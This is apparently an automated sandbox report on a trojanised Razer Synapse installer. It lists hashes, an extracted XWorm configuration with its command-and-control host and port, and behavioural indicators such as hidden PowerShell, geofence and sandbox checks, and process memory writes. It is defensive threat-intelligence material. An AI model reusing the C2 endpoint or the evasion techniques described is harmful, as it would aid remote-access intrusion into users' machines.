Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
09/06/2024, 14:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
RazerSynapseInstaller_v1.17.0.60.exe
Resource
win7-20240215-en
11 signatures
150 seconds
General
- Target RazerSynapseInstaller_v1.17.0.60.exe
- Size 8.5MB
- Sample240609-rred1acb73
- SHA256 86fc45a637f30313b5af7d6264b1db58affa024daba9a7eb1aac18b4300b906a
- MD5 a0642233210e8926d9fce8c249054bb2
- SHA1 f9f1ef1e4d58c85a7f1bd9be91b5efb8dac78acb
- SHA512 2ee4b4c31ef2209c8262e0f63a0574ca6307f520895e45828a698e6ac907769c4f525e23b5d99515adbb7f1d7fb584fdaa680a6ce5346458c9de468090c106e9
- SSDEEP 196608:pEVh1uFf0Dc2GG0OqLaIw1vBUvt1RUMnlXw5aKJRsvLuXCWBvOuFf0Dc2GF2:WVVqLaIo5UvNA5pJRsSTvK
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
done-declared.gl.at.ply.gg:43143
Attributes
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4036-497-0x0000021448070000-0x0000021448084000-memory.dmp family_xworm - Blocklisted process makes network request 1 IoCs
flow pid Process 51 4036 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4036 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation RazerSynapseInstaller_v1.17.0.60.exe Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation RazerInstaller.exe - Executes dropped EXE 3 IoCs
pid Process 4012 RazerSynapseInstaller_V1.17.0.600.exe 2544 RazerInstaller.exe 4416 RazerInstaller.exe - Loads dropped DLL 17 IoCs
pid Process 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe 4416 RazerInstaller.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\J: svchost.exe - Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-heap-l1-1-0.dll RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\BLEConnectWrapper.dll RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\fr-FR\Razer.RazerInstallerCommon.resources.dll RazerInstaller.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\f1706ee93dc7f7beccf0ac4274789d39_AxonLWI02.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l2-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-timezone-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\msvcp140.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\rzS3detmgr.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\vccorlib140.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-datetime-l1-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-util-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-process-l1-1-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\f3a246fec45b5c3e594a917cf91e1be4_BoosterPrime.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\AWSSDK.Core.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\dummyProt.json RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\a6a8ab87779f3b131679289a63f21a91_LWI-Alisha3.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\6f8f3193d4fbdf128e65edd124a89bb7_GameDeals.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\f626abb1339220fca14dd5a9c50f16fc_LWI-SophiePro-2.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-localization-l1-2-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-private-l1-1-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\concrt140.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\3eb94c6867b24b25995491da2b5b5536_SystemBooster.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\8e859396a7087d1d842e18f64b7edccd_LWI-SophiePro-0.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-stdio-l1-1-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-string-l1-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-utility-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\dockEID.json.tmp RazerInstaller.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\cdb5dabe83b269c79ffa33d151a866c6_2018_Cortex_Booster_logo.png RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\AWSSDK.Kinesis.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\6aeeee0f40118daff6219b7498284665_RazerCortex.png RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-math-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\zh-CHT\Razer.RazerInstallerCommon.resources.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\vccorlib140.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\d1badd3700b1362d4906e40c015c8c30_lifestyle_chroma_studio.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\d1badd3700b1362d4906e40c015c8c30_light_chroma_studio.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\3d5634dcc8d1f363e54606c084ff3bc7_lifestyle_macros.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-handle-l1-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-string-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-synch-l1-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-heap-l1-1-0.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\ef04b9e0ce1d81b72ccc5346252f5c6e_LWI-icon-hue.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-console-l1-1-0.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-runtime-l1-1-0.dll RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\ko-KR\Razer.RazerInstallerCommon.resources.dll RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-namedpipe-l1-1-0.dll RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\dongleV2.json RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\de-DE\Razer.RazerInstallerCommon.resources.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\dongleV2.json RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\ce49f7233531adb107a6808f83ca9eca_LWI-Natalie-1.png RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\AWSSDK.Core.dll RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\dummyProt.json.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\fr-FR\Razer.RazerInstallerCommon.resources.dll.tmp RazerInstaller.exe File opened for modification C:\Windows\Installer\Razer\Installer\App\ja-JP\ RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\[email protected] RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\20deaa463cf012355d39684aeabde199_light_synapse.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-sysinfo-l1-1-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\ImageCache\5963643b12004933f6e785fec303d18c_LWI-SophiePro-6.png RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-namedpipe-l1-1-0.dll.tmp RazerInstaller.exe File created C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-convert-l1-1-0.dll.tmp RazerInstaller.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID RazerInstaller.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 RazerInstaller.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName RazerInstaller.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID RazerInstaller.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ RazerInstaller.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS RazerInstaller.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS RazerInstaller.exe - Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF836BDF" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe - Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133624167420620958" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133624167528010251" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2544 RazerInstaller.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2544 RazerInstaller.exe Token: SeDebugPrivilege 4036 powershell.exe Token: SeShutdownPrivilege 4136 svchost.exe Token: SeCreatePagefilePrivilege 4136 svchost.exe Token: SeShutdownPrivilege 4136 svchost.exe Token: SeCreatePagefilePrivilege 4136 svchost.exe Token: SeShutdownPrivilege 4136 svchost.exe Token: SeCreatePagefilePrivilege 4136 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2032 svchost.exe Token: SeIncreaseQuotaPrivilege 2032 svchost.exe Token: SeSecurityPrivilege 2032 svchost.exe Token: SeTakeOwnershipPrivilege 2032 svchost.exe Token: SeLoadDriverPrivilege 2032 svchost.exe Token: SeBackupPrivilege 2032 svchost.exe Token: SeRestorePrivilege 2032 svchost.exe Token: SeShutdownPrivilege 2032 svchost.exe Token: SeSystemEnvironmentPrivilege 2032 svchost.exe Token: SeManageVolumePrivilege 2032 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2032 svchost.exe Token: SeIncreaseQuotaPrivilege 2032 svchost.exe Token: SeSecurityPrivilege 2032 svchost.exe Token: SeTakeOwnershipPrivilege 2032 svchost.exe Token: SeLoadDriverPrivilege 2032 svchost.exe Token: SeSystemtimePrivilege 2032 svchost.exe Token: SeBackupPrivilege 2032 svchost.exe Token: SeRestorePrivilege 2032 svchost.exe Token: SeShutdownPrivilege 2032 svchost.exe Token: SeSystemEnvironmentPrivilege 2032 svchost.exe Token: SeUndockPrivilege 2032 svchost.exe Token: SeManageVolumePrivilege 2032 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2032 svchost.exe Token: SeIncreaseQuotaPrivilege 2032 svchost.exe Token: SeSecurityPrivilege 2032 svchost.exe Token: SeTakeOwnershipPrivilege 2032 svchost.exe Token: SeLoadDriverPrivilege 2032 svchost.exe Token: SeSystemtimePrivilege 2032 svchost.exe Token: SeBackupPrivilege 2032 svchost.exe Token: SeRestorePrivilege 2032 svchost.exe Token: SeShutdownPrivilege 2032 svchost.exe Token: SeSystemEnvironmentPrivilege 2032 svchost.exe Token: SeUndockPrivilege 2032 svchost.exe Token: SeManageVolumePrivilege 2032 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2032 svchost.exe Token: SeIncreaseQuotaPrivilege 2032 svchost.exe Token: SeSecurityPrivilege 2032 svchost.exe Token: SeTakeOwnershipPrivilege 2032 svchost.exe Token: SeLoadDriverPrivilege 2032 svchost.exe Token: SeSystemtimePrivilege 2032 svchost.exe Token: SeBackupPrivilege 2032 svchost.exe Token: SeRestorePrivilege 2032 svchost.exe Token: SeShutdownPrivilege 2032 svchost.exe Token: SeSystemEnvironmentPrivilege 2032 svchost.exe Token: SeUndockPrivilege 2032 svchost.exe Token: SeManageVolumePrivilege 2032 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2032 svchost.exe Token: SeIncreaseQuotaPrivilege 2032 svchost.exe Token: SeSecurityPrivilege 2032 svchost.exe Token: SeTakeOwnershipPrivilege 2032 svchost.exe Token: SeLoadDriverPrivilege 2032 svchost.exe Token: SeSystemtimePrivilege 2032 svchost.exe Token: SeBackupPrivilege 2032 svchost.exe Token: SeRestorePrivilege 2032 svchost.exe Token: SeShutdownPrivilege 2032 svchost.exe Token: SeSystemEnvironmentPrivilege 2032 svchost.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4416 RazerInstaller.exe 4416 RazerInstaller.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1288 wrote to memory of 4012 1288 RazerSynapseInstaller_v1.17.0.60.exe 83 PID 1288 wrote to memory of 4012 1288 RazerSynapseInstaller_v1.17.0.60.exe 83 PID 1288 wrote to memory of 4012 1288 RazerSynapseInstaller_v1.17.0.60.exe 83 PID 1288 wrote to memory of 3088 1288 RazerSynapseInstaller_v1.17.0.60.exe 85 PID 1288 wrote to memory of 3088 1288 RazerSynapseInstaller_v1.17.0.60.exe 85 PID 4012 wrote to memory of 2544 4012 RazerSynapseInstaller_V1.17.0.600.exe 88 PID 4012 wrote to memory of 2544 4012 RazerSynapseInstaller_V1.17.0.600.exe 88 PID 3088 wrote to memory of 3944 3088 cmd.exe 89 PID 3088 wrote to memory of 3944 3088 cmd.exe 89 PID 3088 wrote to memory of 4036 3088 cmd.exe 90 PID 3088 wrote to memory of 4036 3088 cmd.exe 90 PID 2544 wrote to memory of 4416 2544 RazerInstaller.exe 92 PID 2544 wrote to memory of 4416 2544 RazerInstaller.exe 92 PID 2544 wrote to memory of 4416 2544 RazerInstaller.exe 92 PID 4036 wrote to memory of 3528 4036 powershell.exe 56 PID 4036 wrote to memory of 2560 4036 powershell.exe 43 PID 4036 wrote to memory of 4920 4036 powershell.exe 73 PID 4036 wrote to memory of 440 4036 powershell.exe 16 PID 4036 wrote to memory of 2748 4036 powershell.exe 47 PID 4036 wrote to memory of 1164 4036 powershell.exe 18 PID 4036 wrote to memory of 1744 4036 powershell.exe 36 PID 4036 wrote to memory of 952 4036 powershell.exe 12 PID 4036 wrote to memory of 1736 4036 powershell.exe 30 PID 4036 wrote to memory of 3636 4036 powershell.exe 57 PID 4036 wrote to memory of 4088 4036 powershell.exe 65 PID 4036 wrote to memory of 1328 4036 powershell.exe 70 PID 4036 wrote to memory of 4328 4036 powershell.exe 69 PID 4036 wrote to memory of 532 4036 powershell.exe 14 PID 4036 wrote to memory of 1308 4036 powershell.exe 34 PID 4036 wrote to memory of 2880 4036 powershell.exe 52 PID 4036 wrote to memory of 1684 4036 powershell.exe 29 PID 4036 wrote to memory of 892 4036 powershell.exe 11 PID 4036 wrote to memory of 1480 4036 powershell.exe 27 PID 4036 wrote to memory of 2856 4036 powershell.exe 51 PID 4036 wrote to memory of 1080 4036 powershell.exe 17 PID 4036 wrote to memory of 2064 4036 powershell.exe 37 PID 4036 wrote to memory of 1472 4036 powershell.exe 26 PID 4036 wrote to memory of 1272 4036 powershell.exe 22 PID 4036 wrote to memory of 2252 4036 powershell.exe 40 PID 4036 wrote to memory of 2644 4036 powershell.exe 67 PID 4036 wrote to memory of 2840 4036 powershell.exe 50 PID 4036 wrote to memory of 1256 